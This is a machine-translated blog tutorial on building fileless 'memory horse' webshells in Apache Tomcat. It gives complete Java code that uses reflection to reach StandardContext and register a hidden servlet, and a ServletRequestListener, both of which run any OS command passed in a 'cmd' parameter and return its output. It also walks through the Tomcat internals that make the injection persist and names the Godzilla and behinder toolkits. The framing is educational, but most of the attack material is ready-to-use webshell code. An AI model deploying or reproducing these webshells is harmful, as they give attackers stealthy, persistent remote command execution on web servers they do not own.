Tomcat-based Servlet&Listener Memory Horse for Java Security
Write before
Following the previous Tomcat Filter Memory Horse article, you have learned the construction of Filter Memory Horse in Tomcat before, you have learned the construction of Servlet Memory Horse in Tomcat below, and then you will analyze the code of entering Servlet Memory Horse in Godzilla.
Before learning, first make a simple review of the previous Filter-type memory horse. First, the previous Filter-type memory horse is constructed to support Tomcat7 or more, because of javax. Servlet. The DispatcherType class was introduced after servlet 3, whereas Tomcat 7 or more supports Servlet 3.
And in Tomcat7 and 8, the two classes FilterDef and FilterMap belong to different package names
tomcat 7:
org.apache.catalina.deploy.FilterDef; org.apache.catalina.deploy.FilterMap;
tomcat 8:
org.apache.tomcat.util.descriptor.web.FilterDef; org.apache.tomcat.util.descriptor.web.FilterMap;
But Servlets are common in Tomcat7 and 8, and Godzilla's memory horse is also Servlet's
Relationship between ServletContext and StandardContext
The corresponding ServletContext implementation in Tomcat is the ApplicationContext. The ServletContext obtained in a Web application is actually an ApplicationContextFacade object that encapsulates the ApplicationContext, which in turn contains a StandardContext instance to obtain some information inside the Tomcat container for operations, such as the registration of Servlets.
Servlet Memory Horse Construction
Or in the ApplicationContext class, there are four addServlet methods, and the first three are overloaded
Eventually you'll come to the addServlet (String servlet Name, String servlet Class, Servlet servlet, Map<String, String> initParams) method, which has the following code.
The process is to first determine if the servletName is empty, then get the child property from the StandardContext and convert it to a wrapper object. If the wrapper is empty, create a Wrapper through the createWrapper method of the StandardContext and add the Wrapper to the Property Child of the StandardContext through the StandardContext addChid method. The method returns the ApplicationServletRegistration object at the end
private javax.servlet.ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException { if (servletName != null && !servletName.equals("")) { if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) { throw new IllegalStateException(sm.getString("applicationContext.addServlet.ise", new Object[]{this.getContextPath()})); } else { Wrapper wrapper = (Wrapper)this.context.findChild(servletName); if (wrapper == null) { wrapper = this.context.createWrapper(); wrapper.setName(servletName); this.context.addChild(wrapper); } else if (wrapper.getName() != null && wrapper.getServletClass() != null) { if (!wrapper.isOverridable()) { return null; } wrapper.setOverridable(false); } ServletSecurity annotation = null; if (servlet == null) { wrapper.setServletClass(servletClass); Class<?> clazz = Introspection.loadClass(this.context, servletClass); if (clazz != null) { annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class); } } else { wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); if (this.context.wasCreatedDynamicServlet(servlet)) { annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class); } } if (initParams != null) { Iterator var9 = initParams.entrySet().iterator(); while(var9.hasNext()) { Entry<String, String> initParam = (Entry)var9.next(); wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue()); } } javax.servlet.ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context); if (annotation != null) { registration.setServletSecurity(new ServletSecurityElement(annotation)); } return registration; } } else { throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName})); } }
The Servlet Memory Horse is constructed first. The code refers to the article of Master su18. First, it is copied over, then the code is analyzed. Finally, a simple analysis of the code problems is made.
Actually, the process is almost the same as Filter type, but this time you need to dynamically register the Servlet instead of the Filter, so where do you change the code in the dynamic registration?
@WebServlet("/addServletMemShell") public class ServletMemShell extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // Get ServletContext final ServletContext servletContext = req.getServletContext(); Field appctx = null; try { // Get ApplicationContext appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); // Get StandardContext StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String ServletName = "ServletMemShell"; // Create a Servlet that does not have the same name as an existing Servlet for the program if (servletContext.getServletRegistration(ServletName) == null){ HttpServlet httpServlet = new HttpServlet(){ @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd!=null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream); int len; while ((len = bufferedInputStream.read())!=-1){ resp.getWriter().write(len); } } } }; // Standard createWrapper gets Wrapper encapsulated Servlet Wrapper wrapper = standardContext.createWrapper(); //Setting ServletName in Wrapper wrapper.setName(ServletName); // Notice this line of code below wrapper.setLoadOnStartup(1); wrapper.setServlet(httpServlet); wrapper.setServletClass(httpServlet.getClass().getName()); // Add wrapper to children standardContext.addChild(wrapper); // Set ServletMappings standardContext.addServletMappingDecoded("/ServletMemShell", ServletName); resp.getWriter().write("Inject Tomcat ServletMemShell Success!"); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } }
Still access the Servlet constructed above before registering a Servlet memory horse for us.
Servlet Memory Horse Creation Analysis
The key part is the following code
// Standard createWrapper gets Wrapper encapsulated Servlet Wrapper wrapper = standardContext.createWrapper(); //Setting ServletName in Wrapper wrapper.setName(ServletName); wrapper.setLoadOnStartup(1); wrapper.setServlet(httpServlet); wrapper.setServletClass(httpServlet.getClass().getName()); // Add wrapper to children standardContext.addChild(wrapper); // Set ServletMappings standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);
Personally, wrapper is the difference from filter. SetLoadOnStartup(1);, So where is loadOnStartup called? Looking back at the call stack below, we find that the listenerStart, filterStart, loadOnStartup methods are called in the StandContext#startInternal method in turn.
Follow the loadOnStartup method, preceded by taking the children property and traversing it
The getLoadOnStartup() code is as follows, which is the get method of the standard Wrapper property loadOnStartup. By condition, our code passes wrapper first. SetLoadOnStartup (1); Set it to 1, and the last value returned here is 1.
This will lead to the final call to the StandardWrapper#load method in the if below to load and initialize the Servlet in the load method.
The overall call stack is as follows, but many of them have been omitted, such as addChild, chidStart, and addServlet methods, which can be debugged by interested teachers themselves.
That's for Servlet s with the loadOnStartup attribute.
Interestingly, try wrapper on top of us. SetLoadOnStartup (1); This line of code is removed, and after testing it is found that it still does not affect the injection of Servlet memory horses.:)
Here's a loading issue with Servlet s:
For Servlets configured with the load-on-startup attribute, loading and initialization of other generic Servlets is delayed until the first time the Servlet is called when a real request is made to access the web application
For Servlet s that do not configure the load-on-startup attribute, the specific processing instance object is not created when the system loads, but is still a configuration record in the Context. True creation is instantiated the first time it is requested
That's solved, wrapper.setLoadOnStartup(1); It only affects when the Servlet loads, not whether it loads or not.
How do Servlet s without the loadOnStartup attribute load?
Returning to the StandardWrapperValve#invoke method in the call stack, the emphasis is on the following line
Follow up to see the implementation, so load and initialize the Servlet in the StandardWrapper#allocate method
In summary, the process of creating a Servlet is not difficult to understand.
Still get the StandardContext, create the encapsulated class Wrapper, or StandardWrapper, of the Servlet, set the ServletNam and ServletClass later, and specify the class and ServletMapping, similar to the Web. The configuration in XML is
<servlet> <servlet-name> </servlet-name> <servlet-class> </servlet-class> </servlet> <servlet-mapping> <servlet-name> </servlet-name> <url-pattern> </url-pattern> </servlet-mapping>
The next step is to add to the child property, wait until Tomcat loads the Servlet the first time it is accessed, or set wrapper.setLoadOnStartup(1); Servlets can be created directly when the system loads
Listener Memory Horse
Listener can be translated as a listener, which is used to monitor the creation and destruction of objects or processes. With Listener, some actions can be triggered automatically, so it can also be used to complete the implementation of memory horses.
The following listeners may be invoked in the application:
- ServletContextListener: Used to listen on the entire Servlet context (create, destroy)
- ServletContextAttributeListener: Listens for Servlet context attributes (adds, deletes, changes attributes)
- ServletRequestListener: Listen for Request requests (create, destroy)
- ServletRequestAttributeListener: Listen for Request attributes (add or delete attributes)
- javax.servlet.http.HttpSessionListener: Monitoring the overall state of Sessions
- javax.servlet.http.HttpSessionAttributeListener: Listening for the Session attribute
The Liistener object saved in Tomcat is in the applicationEventListeners Objects property of the StandContext, and the addApplicationEventListener method exists in the StandardContext to add a Listener.
This time you are using the ServletRequestListener interface, which provides two methods, requestInitialized and requestDestroye, to automatically trigger the contents of the execution method when the Request object is created and destroyed, respectively. The parameters accepted by this method are the ServletRequestEvent object, where you can get the ServletContext object and the ServletRequest object.
Construct a malicious Listener
public class ListenerMemShell implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { } @Override public void requestInitialized(ServletRequestEvent sre) { RequestFacade request = (RequestFacade) sre.getServletRequest(); try { Field req = request.getClass().getDeclaredField("request"); req.setAccessible(true); Request request1 = (Request) req.get(request); Response response = request1.getResponse(); String cmd = request1.getParameter("cmd"); InputStream is = Runtime.getRuntime().exec(cmd).getInputStream(); int len; while ((len = is.read()) != -1){ response.getWriter().write(len); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
You can write some tool classes to handle the above malicious Listener, such as decoding the load byte code in Servlet after converting the class file to byte and then to base64
@WebServlet("/addListenerMemShell") public class ListenerMemShell extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // Get ServletContext final ServletContext servletContext = req.getServletContext(); Field appctx = null; try { // Get ApplicationContext appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); // Get StandardContext StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); standardContext.addApplicationEventListener(Utils.getClass(Utils.LISTENER_CLASS_STRING1).newInstance()); resp.getWriter().write("Success For Add Listnenr CmdMemShell !"); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } }
Access addListenerMemShell first
You can then access any Servlet and type the command you want to execute in the parameter.
End
In fact, in Tomcat environment, I prefer Filter and Listener type memory horse to Servlet, mainly because the access of Filter and Listener is before Servlet, which also avoids some potential problems of basics and fancy. There should be a lot more to do with Listener, but fewer articles and possibly more future attempts at Listener memory horses, such as behinder3 and Godzilla.
Later, you can learn how to do this by deserializing the posture of the internal horse, integrating the internal horse of Gossla and behinder, cascading the yso, and stitching the deserialization command execution with the echo chain, or integrating it into the yso. Including recent reports of simple exemption from filter processing, memory horse injection from different containers, and acquisition of StandardContext under Tomcat for version 6789, will be studied a little later.
Reference
http://www.xiao-hang.xyz/2019/05/16/Tomcat Source Code Analysis-Three-WEB Loading Principle-Two/